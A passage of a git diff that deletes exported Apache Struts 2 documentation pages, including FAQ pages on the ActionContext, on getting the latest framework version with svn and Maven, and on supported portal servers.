-<p>Struts (both 1 and 2) are action frameworks. In essence they give you the ability to map URLs to activities and code on the back end. Here, the layout and workflow tends to be more page oriented. As a developer you tend to interact with the HTTP request cycle directly, though Struts 2 helps isolate at least the binding of the request data to the action implementation classes.</p>
-
-<p>Action frameworks tend to be much "thinner" in how they stand between your code and the raw HTTP request compared to component frameworks.</p>
-
-<p>For those people just cutting their teeth on web development, the component frameworks (especially with good tooling) can be much more approachable, as the tools tend to hide the heavy weight nature of the component frameworks. But, on the downside, their size and their "square peg in to round hole" nature of turning HTTP requests in to the rough equivalent of mouse clicks mean there's more complexity to try to understand if and when the framework starts misbehaving or getting in the  [...]
-
-<p>But, to be fair, frameworks like ASP.NET and JSF are popular because novices can get quick success with them with the modern tools.</p>
-
-<p>Old School HTTP wranglers may simply be more comfortable with action frameworks, simply because they've been through the crucible of understanding how HTTP requests are structured. Action frameworks tend to work better with "pretty" urls (though component frameworks are getting better at his). Action framework coders can have more control of the structure and presentation of URLs, since their systems are more intimately tied to them compared to a component framework.</p>
-
-<p>As a basic guideline, I find the action frameworks are better for "web sites", site like this one, sites that focus on delivering content to the user. Where it's mostly a "read only" experience for the end user who is likely to want to bookmark things, come back to arbitrarily deep pages, etc.</p>
-
-<p>But the component frameworks are better for "web apps". CRUD screens, back office applications, lots of forms and controls, etc. Here, the workflow is more controlled. You tend to not get to a "detail" screen with going through the "list" screen or "header" screen first, for example.</p>
-
-<p>It's nice to be able to just drag and drop a grid component on to a form, add a couple of buttons and point it as a DB table to get "instant" results. But these apps don't bookmark well, HATE the "refresh button", may behave poorly with the back button, etc. Overall, they can not be very good citizens when working with the web browser.</p>
-
-<p>So, if it were me, I'd write a blog in a action framework like Struts 2 (or even better, Stripes), but I'd write an accounting package in JSF.</p></blockquote></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/what-is-the-actioncontext.html b/content/docs/what-is-the-actioncontext.html
deleted file mode 100644
index ce3af79..0000000
--- a/content/docs/what-is-the-actioncontext.html
+++ /dev/null
@@ -1,209 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>What is the ActionContext?</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="what-is-the-actioncontext.html">What is the ActionContext?</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">What is the ActionContext?</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13994">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13994">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13994">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13994">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13994">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13994">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>A striking attribute of the framework is the brevity of its signatures. For example:</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> S1 Action </p></th><td colspan="1" rowspan="1" class="confluenceTd"> <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">ActionForward execute(ActionMapping, ActionForm, ServletRequest, ServletResponse)</pre>
-</div></div></td></tr><tr><td></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> S2 Action </p></th><td colspan="1" rowspan="1" class="confluenceTd"> <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">String execute()</pre>
-</div></div> </td></tr></tbody></table></div>
-
-
-<p>How can this be? How can a key method take no arguments and yet perform useful work within an application?</p>
-
-<p>To keep signatures brief, and methods useful, the framework uses two techniques: <em>Dependency Injection</em> and <em>Thread Local</em>, both of which, in turn, rely on the <em>ActionContext</em>. </p>
-
-<h2 id="WhatistheActionContext?-DependencyInjection">Dependency Injection </h2>
-
-<p>Many Interceptors are used to populate propertes on an Action. For example, the <a shape="rect" href="servlet-config-interceptor.html">Servlet Config Interceptor</a> can set Map properties representing the HTTP Request, Session, and Appplication objects. </p>
-
-<p>Though, the signature for an Interceptor is nearly as brief as Action: </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">String intercept(ActionInvocation invocation)</pre>
-</div></div>
-
-<p>Looking through <a shape="rect" class="unresolved" href="#">ActionInvocation</a>, there are several interesting properties, but nothing that reveals the HTTP contexts. (Good thing! since it is a web-independant XWork class.)</p>
-
-<p>So how does an Interceptor obtain the HTTP contexts to inject? </p>
-
-<h2 id="WhatistheActionContext?-ThreadLocal">ThreadLocal </h2>
-
-<p>The <a shape="rect" class="unresolved" href="#">ThreadLocal</a> class is not a new kid on the block. It's been available to developers since Java 1.2. In effect, each thread has its own copy of the variables on a ThreadLocal class. </p>
-
-<p>The framework uses ThreadLocal in connection with the ActionContext class to make servlet configuration and other runtime details available. </p>
-
-<h2 id="WhatistheActionContext?-ActionContext">ActionContext</h2>
-
-<p>From <em>anywhere</em> within an Struts 2 application, you can obtain a reference to the <a shape="rect" class="unresolved" href="#">ActionContext</a> by calling  </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-ActionContext context = ActionContext.getContext();
-</pre>
-</div></div>
-
-<p>For example, if a helper class is called from an Action, and if it happens to need access to ServletContext (maybe it is writing a file and needs ServletContext to get a path to it), the helper can obtain the ActionContext directly. Nothing needs to be passed from the Action.  </p>
-
-<p>In frameworks like Struts 1, details like the runtime request and response are passed around like hot potatoes. In Struts 2, such details are bundled together in the ActionContext. In S1, Actions are bound to HTTP through the execute signature. In S2, Actions can be a plain old Java object, and each bound to HTTP only to the extent required. </p>
-
-<p>Of course, the dark side of ThreadLocal is that it is easy to bind business logic classes to XWork. An otherwise pristine business class could grab request parameters directly from the ActionContext. The request parameters are exposed as a plain Map, so binding to HTTP is avoided, but the class still becomes bound to XWork. Of course, if you've decided to use XWork as your business logic framework, then binding to ActionContext might not be a problem. </p>
-
-<p>The darker side is that classes that depend heavily on ThreadLocal can be diffcult to unit test. A cleaner design centralizes access to ThreadLocal variables, so that other classes are easier to test.</p>
-
-<h2 id="WhatistheActionContext?-Backto">Back to <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=ds&amp;title=FAQs">FAQs</a></h2>
-
-<hr>
-
-<p>This material originally adopted from <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/ActionContext?action=edit">http://wiki.apache.org/struts/ActionContext?action=edit</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/where-do-we-get-the-latest-version-the-framework.html b/content/docs/where-do-we-get-the-latest-version-the-framework.html
deleted file mode 100644
index a863411..0000000
--- a/content/docs/where-do-we-get-the-latest-version-the-framework.html
+++ /dev/null
@@ -1,172 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Where do we get the latest version the framework</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="where-do-we-get-the-latest-version-the-framework.html">Where do we get the latest version the framework</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Where do we get the latest version the framework</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14158">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14158">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14158">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14158">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14158">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14158">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Tagged distributions of the framework can be downloaded, or the latest version can obtained from the source code repository. </p>
-
-<h2 id="Wheredowegetthelatestversiontheframework-FromaDistribution">From a Distribution</h2>
-
-<p>The latest releases, including beta releases, can be downloaded from the <a shape="rect" class="external-link" href="http://struts.apache.org/downloads.html">Apache Struts Project</a>.</p>
-
-<h2 id="Wheredowegetthelatestversiontheframework-FromtheRepository">From the Repository</h2>
-
-<p>Use <a shape="rect" class="external-link" href="http://subversion.tigris.org/" rel="nofollow">Subversion</a> to checkout the source code.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&gt; svn co https://svn.apache.org/repos/asf/struts/struts2/trunk/
-</pre>
-</div></div>
-<p>Use <a shape="rect" class="external-link" href="http://maven.apache.org/">Maven 2</a> to build a distribution.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&gt; mvn install
-</pre>
-</div></div>
-<p>For a detailed description, see <a shape="rect" href="building-the-framework-from-source.html">Building the Framework from Source</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/which-portal-servers-are-supported.html b/content/docs/which-portal-servers-are-supported.html
deleted file mode 100644
index 7ee999a..0000000
--- a/content/docs/which-portal-servers-are-supported.html
+++ /dev/null
@@ -1,146 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Which portal servers are supported</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="which-portal-servers-are-supported.html">Which portal servers are supported</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Which portal servers are supported</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13920">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13920">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13920">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13920">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13920">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13920">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><strong>The information on this page is outdated. The Struts 2 Portlet Plugin supports any portal server that is JSR168 compliant. If you're having problems with the server you're using, please use the <a shape="rect" class="e [...]
-
-<h2 id="Whichportalserversaresupported-Listofsupportedportalservers">List of supported portal servers</h2>
-
-<p>The following portal servers are known to work with the framework's portlet integration:</p>
-<ul><li><a shape="rect" class="external-link" href="http://portals.apache.org/jetspeed-2/">Apache Jetspeed 2 </a></li><li><a shape="rect" class="external-link" href="http://www.exoplatform.com/portal/faces/public/exo" rel="nofollow">eXo Portal 1.1 </a></li><li><a shape="rect" class="external-link" href="http://www.gridsphere.org/gridsphere/gridsphere" rel="nofollow">Gridsphere 2.1 </a></li><li>IBM WebSphere Portal 5.1</li><li><a shape="rect" class="external-link" href="http://www.jboss.c [...]
-
-
-<p>If your portal server is not listed here, and you would like to contribute required configuration files and additional deployment descriptors, please <a shape="rect" class="external-link" href="http://issues.apache.org/struts/browse/WW">file an issue</a> and annex the material.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-are-request-parameters-appended-to-our-hyperlinks.html b/content/docs/why-are-request-parameters-appended-to-our-hyperlinks.html
deleted file mode 100644
index 61ab3ad..0000000
--- a/content/docs/why-are-request-parameters-appended-to-our-hyperlinks.html
+++ /dev/null
@@ -1,180 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why are request parameters appended to our hyperlinks</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-are-request-parameters-appended-to-our-hyperlinks.html">Why are request parameters appended to our hyperlinks</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
